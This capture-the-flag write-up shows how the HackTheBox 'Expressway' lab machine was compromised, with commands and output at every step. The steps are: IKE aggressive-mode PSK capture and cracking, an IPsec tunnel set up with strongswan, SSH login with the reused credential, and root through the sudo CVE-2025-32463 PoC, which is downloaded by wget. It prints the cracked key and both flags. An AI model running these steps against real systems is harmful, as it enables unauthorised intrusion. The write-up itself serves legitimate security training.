hackthebox Easy

Expressway

ipsec ike aggressive-mode psk-cracking vpn strongswan xfrm cisco-config tftp sudo cve-2025-32463

Overview

Expressway is an Easy Linux box centered around IPsec VPN exploitation and a sudo privilege escalation CVE. The machine exposes only SSH (filtered behind the VPN) and IKE on UDP 500. By probing IKE in Aggressive Mode, we leak the server identity ike@expressway.htb and capture the PSK authentication hash. Cracking it with psk-crack reveals a weak pre-shared key that doubles as the SSH password. However, SSH is only accessible after establishing an IPsec tunnel – the IKE Security Association acts as a port-knock. Once inside, we find a SUID Exim binary (a red herring), a Cisco router config on the TFTP server, and crucially, a custom sudo binary at /usr/local/bin/sudo running version 1.9.17, vulnerable to CVE-2025-32463. This “chwoot” vulnerability allows local privilege escalation through improper chroot handling, giving us a root shell.

Key Attack Chain:

  1. UDP scan discovers IKE on port 500
  2. Aggressive Mode IKE scan leaks identity and captures PSK hash
  3. psk-crack recovers the weak PSK: freakingrockstarontheroad
  4. IPsec tunnel established via strongswan with careful XFRM policy management to avoid breaking the HTB VPN
  5. SSH opens after IKE SA establishment – credentials ike:freakingrockstarontheroad
  6. CVE-2025-32463 in /usr/local/bin/sudo 1.9.17 escalates to root

Enumeration

Nmap Scan

1

nmap -sC -sV -T4 10.129.5.232

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH on TCP. An easy box with one port usually means UDP is hiding something. Let’s scan that:

1

nmap -sU -T4 --min-rate 1000 -p 53,67,68,69,111,123,161,162,500,514,520,1194,4500 10.129.5.232

PORT    STATE         SERVICE
500/udp open|filtered isakmp

UDP 500 – IKE (Internet Key Exchange) for IPsec VPN negotiation.

IKE Enumeration

1

ike-scan -A 10.129.5.232

10.129.5.232  Aggressive Mode Handshake returned
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
  ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
  VID=09002689dfd6b712 (XAUTH)
  VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Key findings:

  • Aggressive Mode is enabled – leaks identity information
  • Identity: ike@expressway.htb
  • Auth: Pre-Shared Key (PSK) with 3DES/SHA1/MODP1024
  • XAUTH vendor ID present – server supports extended authentication

PSK Cracking

Capture the PSK hash in crackable format:

1

ike-scan -A --id=ike@expressway.htb -Ppresharedkey.txt 10.129.5.232

Crack it:

1

psk-crack -d /usr/share/wordlists/rockyou.txt presharedkey.txt

Running psk-crack with dictionary "/usr/share/wordlists/rockyou.txt"
Key "freakingrockstarontheroad" matches hash

Foothold

IPsec Tunnel Setup

The tricky part of this box is establishing the IPsec tunnel without breaking your HTB VPN connection. Using strongswan with policies = no prevents automatic XFRM policy installation that would hijack all traffic through the tunnel.

Install strongswan and configure:

1

apt-get install -y strongswan libstrongswan-standard-plugins libstrongswan-extra-plugins

Create the swanctl config:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

cat > /etc/swanctl/conf.d/expressway.conf << 'EOF'
connections {
    expressway {
        version = 1
        aggressive = yes
        proposals = 3des-sha1-modp1024
        remote_addrs = 10.129.5.232

        local {
            auth = psk
            id = ike@expressway.htb
        }
        remote {
            auth = psk
        }

        children {
            expressway {
                mode = tunnel
                esp_proposals = 3des-sha1
                local_ts = dynamic
                remote_ts = 0.0.0.0/0
                start_action = none
                policies = no
            }
        }
    }
}

secrets {
    ike-expressway {
        id = ike@expressway.htb
        secret = "freakingrockstarontheroad"
    }
}
EOF

Start the tunnel:

1
2
3

systemctl start strongswan
swanctl --load-all
swanctl --initiate --child expressway

[IKE] IKE_SA expressway[1] established between 10.10.14.157[ike@expressway.htb]...10.129.5.232[ike@expressway.htb]
[IKE] CHILD_SA expressway{1} established with SPIs ... and TS 10.10.14.157/32 === 0.0.0.0/0
initiate completed successfully

Adding Narrow XFRM Policies

With policies = no, no traffic actually flows through the tunnel. We manually add XFRM policies scoped only to the target IP – this encrypts traffic to the box through the IPsec SA while leaving HTB VPN, LAN, and all other routing untouched:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

MY_IP=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
TARGET=10.129.5.232

# Outbound: our traffic to target goes through IPsec tunnel
ip xfrm policy add src $MY_IP/32 dst $TARGET/32 dir out \
  tmpl src $MY_IP dst $TARGET proto esp reqid 1 mode tunnel

# Inbound: target's traffic to us comes through IPsec tunnel
ip xfrm policy add src $TARGET/32 dst $MY_IP/32 dir in \
  tmpl src $TARGET dst $MY_IP proto esp reqid 1 mode tunnel

# Forward
ip xfrm policy add src $TARGET/32 dst $MY_IP/32 dir fwd \
  tmpl src $TARGET dst $MY_IP proto esp reqid 1 mode tunnel

Important caveats:

  • The reqid must match the SA’s reqid (check with ip xfrm state show)
  • If the CHILD_SA is rekeyed, the XFRM state gets new SPIs and you need to re-add policies
  • Never use remote_ts = 0.0.0.0/0 with automatic policy installation – it will route ALL traffic through the tunnel and kill your HTB VPN

SSH Access

After the IKE SA is established, SSH opens up (it acts as a port-knock):

1

nmap -sT -Pn -p 22 10.129.5.232

PORT   STATE SERVICE
22/tcp open  ssh

The cracked PSK is reused as the SSH password:

1
2

ssh ike@10.129.5.232
# Password: freakingrockstarontheroad

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

ike@expressway:~$ cat user.txt
fd98161b3d9433114102c619a3486e34

Privilege Escalation

Enumeration

Several interesting findings on the box:

1
2

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

/usr/sbin/exim4          # SUID root - red herring (v4.98.2, patched)
/usr/local/bin/sudo      # Custom SUID sudo - suspicious!
/usr/bin/sudo            # Standard sudo

1
2

# Custom sudo version
/usr/local/bin/sudo --version

Sudo version 1.9.17

A custom sudo installation at /usr/local/bin/sudo running version 1.9.17 – this is vulnerable to CVE-2025-32463.

Other findings (not needed for exploitation):

  • TFTP server at /srv/tftp/ contains ciscortr.cfg – a Cisco router config with VPN group key secret-password and internal subnets (10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24)
  • Exim 4.98.2 SUID – patched against CVE-2025-30232, not exploitable
  • Squid proxy config and logs exist but squid is not running
  • /etc/systemd/system/systemd-networkd.service is writable but empty (no obvious trigger)

CVE-2025-32463 – sudo “chwoot” Exploit

CVE-2025-32463 is a local privilege escalation in sudo versions up to 1.9.17. It exploits improper handling of the chroot environment – sudo’s -h (host) flag can trigger an alternate code path that bypasses security checks, allowing escalation to root.

Download the public PoC exploit:

1
2

wget https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/raw/main/sudo-chwoot.sh -O /tmp/sudo-chwoot.sh
chmod +x /tmp/sudo-chwoot.sh

Transfer to the target and execute:

1
2

scp /tmp/sudo-chwoot.sh ike@10.129.5.232:/tmp/
ssh ike@10.129.5.232

1
2
3

ike@expressway:~$ cd /tmp && bash sudo-chwoot.sh "cat /root/root.txt"
woot!
9fc7e85b46304042a1d54cc55c9cd18a

For an interactive root shell:

1

bash sudo-chwoot.sh

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt
9fc7e85b46304042a1d54cc55c9cd18a

Lessons Learned

  • Always scan UDP ports – this box only shows SSH on TCP. The entire attack chain starts from IKE on UDP 500, which is invisible to default TCP-only scans
  • IKE Aggressive Mode is dangerous – it leaks identity information and allows offline PSK cracking. Servers should use Main Mode or IKEv2 to prevent this
  • IPsec tunnel routing requires care – blindly installing XFRM policies for 0.0.0.0/0 can hijack all traffic and break existing VPN connections. Use policies = no and manually add narrow policies scoped to specific IPs
  • Credential reuse is common – the IKE PSK was reused as the SSH password, a pattern seen frequently in real environments where VPN and system credentials share the same password
  • Custom binary installations are a red flag – the non-standard sudo at /usr/local/bin/sudo was the privesc vector. Package-managed binaries receive security updates; custom installations often don’t
  • Not every SUID binary is the path – Exim 4.98.2 with SUID looked promising but was a red herring. The real target was the overlooked custom sudo binary